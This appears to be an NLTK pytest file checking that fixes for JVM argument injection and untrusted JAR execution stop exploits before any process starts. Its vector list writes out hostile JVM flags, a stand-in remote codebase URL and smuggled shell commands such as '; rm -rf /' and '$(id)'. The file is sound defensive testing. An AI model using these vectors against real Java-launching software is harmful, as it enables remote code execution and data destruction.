"""
End-to-end exploit checks for the two JVM-security issues fixed on this branch:

* JVM argument injection (CVE-2026-12841 / GHSA-m4rf-3fr8-xwx3, CWE-88): a
  per-call ``java(options=...)`` value must not be able to inject a
  code-executing / program-changing JVM flag.
* Untrusted JAR execution (the hotfix-3742 JAR sandbox, CWE-94): a classpath
  entry outside the NLTK data directories must not be executed.

These tests assert the exploit is stopped *before* ``subprocess.Popen`` -- i.e.
the malicious argument never reaches the process layer, so no code runs. A live
RCE marker (``-XX:OnOutOfMemoryError=touch <marker>``) is used to prove nothing
executed.
"""

import os
import subprocess

import pytest

from nltk import internals


@pytest.fixture
def spy_popen(monkeypatch, tmp_path):
    """Replace subprocess.Popen with a spy that records every argv it is given
    and never launches a real process. A blocked exploit must leave this empty."""
    calls = []

    class _FakeProc:
        returncode = 0

        def communicate(self):
            return "", ""

    def _fake_popen(cmd, *a, **k):
        calls.append(list(cmd))
        return _FakeProc()

    # Reach option validation without a real java binary / config_java() search.
    monkeypatch.setattr(internals, "_java_bin", "java")
    monkeypatch.setattr(internals, "_java_options", [])
    monkeypatch.setattr(subprocess, "Popen", _fake_popen)
    monkeypatch.setattr(internals.subprocess, "Popen", _fake_popen)
    return calls


# --- JVM argument injection (m4rf / CVE-2026-12841) ------------------------

INJECTION_VECTORS = [
    # -XX: flags whose value the JVM executes as a shell command (RCE).
    ["-XX:OnOutOfMemoryError=touch /tmp/nltk_pwned"],
    ["-XX:OnError=/bin/sh -c id"],
    # agents / argfiles / -jar change what the JVM runs.
    ["-javaagent:/tmp/evil.jar"],
    ["-agentlib:jdwp=transport=dt_socket"],
    ["@/tmp/argfile"],
    ["-jar", "/tmp/evil.jar"],
    # -D system properties that can load attacker code.
    ["-Djava.ext.dirs=/tmp/evil"],
    ["-Djava.rmi.server.codebase=http://evil/"],
    # module path could point at attacker code.
    ["--module-path=/tmp/evil"],
    ["-p", "/tmp/evil"],
    # shell-metacharacter / whitespace smuggling on an otherwise-allowed prefix.
    ["-Xmx512m ; rm -rf /"],
    ["-Xmx$(id)"],
    ["-verbose:gc\n-XX:OnError=x"],
]


@pytest.mark.parametrize("opts", INJECTION_VECTORS)
def test_arg_injection_is_blocked_before_popen(spy_popen, opts):
    """Every injection vector is refused at validation, so Popen is never
    reached -- the injected flag cannot execute (CVE-2026-12841, CWE-88)."""
    with pytest.raises(ValueError):
        internals.java(["SomeMainClass"], classpath=".", options=opts)
    assert spy_popen == [], f"exploit reached subprocess.Popen: {spy_popen!r}"


def test_arg_injection_string_form_is_blocked(spy_popen):
    """The string form of options is split and validated the same way."""
    with pytest.raises(ValueError):
        internals.java(["Main"], classpath=".", options="-Xmx1g -XX:OnError=reboot")
    assert spy_popen == []


def test_live_rce_marker_is_never_created(spy_popen, tmp_path):
    """Concrete RCE proof: the JVM executes -XX:OnOutOfMemoryError on OOM. The
    injected command would create a marker file; validation must stop it, so the
    marker never appears (and Popen is never called)."""
    marker = tmp_path / "pwned"
    assert not marker.exists()
    with pytest.raises(ValueError):
        internals.java(
            ["Main"],
            classpath=".",
            options=[f"-XX:OnOutOfMemoryError=touch {marker}"],
        )
    assert not marker.exists(), "RCE marker created -- injection leaked!"
    assert spy_popen == []


def test_safe_options_still_reach_popen(spy_popen):
    """Sanity: legitimate options are NOT blocked and DO reach Popen, so the
    guard is not simply rejecting everything."""
    internals.java(
        ["Main"],
        classpath=None,
        options=["-Xmx512m", "-verbose:gc"],
    )
    assert len(spy_popen) == 1
    argv = spy_popen[0]
    assert "-Xmx512m" in argv and "-verbose:gc" in argv


def test_trusted_raw_options_escape_hatch_reaches_popen(spy_popen):
    """A caller-vouched -XX: flag via trusted_raw_options is intentionally NOT
    validated and reaches Popen; the same flag via options= is still blocked."""
    with pytest.raises(ValueError):
        internals.java(["Main"], classpath=None, options=["-XX:ParallelGCThreads=2"])
    assert spy_popen == []

    internals.java(
        ["Main"], classpath=None, trusted_raw_options=["-XX:ParallelGCThreads=2"]
    )
    assert len(spy_popen) == 1
    assert "-XX:ParallelGCThreads=2" in spy_popen[0]


# --- Untrusted JAR execution (hotfix-3742 JAR sandbox, CWE-94) --------------


def test_untrusted_absolute_jar_is_blocked(spy_popen, tmp_path, monkeypatch):
    """A classpath JAR outside the trusted NLTK data dirs must be refused before
    Popen, so an attacker-supplied JAR cannot be executed (CWE-94)."""
    data_dir = tmp_path / "nltk_data"
    data_dir.mkdir()
    evil = tmp_path / "evil.jar"
    evil.touch()
    monkeypatch.setattr("nltk.data.path", [str(data_dir)])
    with pytest.raises(internals.UntrustedJarError):
        internals.java(["Main"], classpath=str(evil))
    assert spy_popen == []


def test_relative_jar_is_blocked(spy_popen):
    """A relative classpath JAR is refused (no NLTK_ALLOW_UNSAFE_JARS escape)."""
    with pytest.raises(internals.UntrustedJarError):
        internals.java(["Main"], classpath="relative/evil.jar")
    assert spy_popen == []


def test_trusted_jar_reaches_popen(spy_popen, tmp_path, monkeypatch):
    """A JAR inside the trusted nltk_data tree is allowed through to Popen."""
    data_dir = tmp_path / "nltk_data"
    data_dir.mkdir()
    good = data_dir / "stanford.jar"
    good.touch()
    monkeypatch.setattr("nltk.data.path", [str(data_dir)])
    internals.java(["Main"], classpath=str(good))
    assert len(spy_popen) == 1
    assert "-cp" in spy_popen[0]


# --- MaltParser: builds its own `java` command, must be sandboxed too --------
# (MaltParser bypasses internals.java(), so both the classpath sandbox and the
#  JVM-option validation are applied inside generate_malt_command().)


def _malt_stub(jars, args, tmp_path):
    from nltk.parse.malt import MaltParser

    m = MaltParser.__new__(MaltParser)
    m.malt_jars = jars
    m.additional_java_args = args
    m.model = "model.mco"
    m.working_dir = str(tmp_path)
    return m


def test_malt_untrusted_jar_is_blocked(tmp_path, monkeypatch):
    """An out-of-nltk_data maltparser JAR must be refused (CWE-94, CVE-2026-12252)."""
    from nltk.internals import UntrustedJarError

    data_dir = tmp_path / "nltk_data"
    data_dir.mkdir()
    monkeypatch.setattr("nltk.data.path", [str(data_dir)])
    evil = tmp_path / "evil" / "maltparser-1.9.2.jar"
    evil.parent.mkdir()
    evil.touch()
    with pytest.raises(UntrustedJarError):
        _malt_stub([str(evil)], [], tmp_path).generate_malt_command("in", mode="parse")


def test_malt_arg_injection_is_blocked(tmp_path, monkeypatch):
    """Injection via additional_java_args must be refused (CWE-88, m4rf)."""
    data_dir = tmp_path / "nltk_data"
    data_dir.mkdir()
    good = data_dir / "maltparser-1.9.2.jar"
    good.touch()
    monkeypatch.setattr("nltk.data.path", [str(data_dir)])
    with pytest.raises(ValueError):
        _malt_stub(
            [str(good)], ["-XX:OnOutOfMemoryError=touch /tmp/x"], tmp_path
        ).generate_malt_command("in", mode="parse")


def test_malt_trusted_jar_and_safe_args_build_command(tmp_path, monkeypatch):
    """A trusted in-nltk_data JAR with safe args still builds the command."""
    data_dir = tmp_path / "nltk_data"
    data_dir.mkdir()
    good = data_dir / "maltparser-1.9.2.jar"
    good.touch()
    monkeypatch.setattr("nltk.data.path", [str(data_dir)])
    cmd = _malt_stub([str(good)], ["-Xmx1024m"], tmp_path).generate_malt_command(
        "in", mode="parse"
    )
    assert cmd[0] == "java" and "-Xmx1024m" in cmd and "org.maltparser.Malt" in cmd
